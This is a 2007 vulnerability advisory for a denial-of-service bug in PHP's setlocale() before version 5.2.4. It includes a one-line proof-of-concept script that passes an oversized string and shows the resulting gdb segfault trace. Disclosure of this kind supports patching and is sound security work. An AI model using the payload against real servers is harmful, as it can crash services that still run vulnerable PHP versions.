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HistorySep 06, 2007 - 12:00 a.m.

PHP < 5.2.4 setlocale() denial of service

2007-09-0600:00:00
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Application: PHP < 5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: setlocale()
special condition: default php-memory-limit

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits

1) Introduction

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug

setlocale() is vulnerable to a denial of service

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3)Proof of concept

Proof of concept example :
<?php
setlocale(LC_COLLATE, str_repeat("A", 34438013));
?>

result:
(gdb) run ./1.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215805760 (LWP 10504)]
0xb78a584b in setlocale () from /lib/tls/i686/cmov/libc.so.6

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4)Greets

Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

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5)Credits

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
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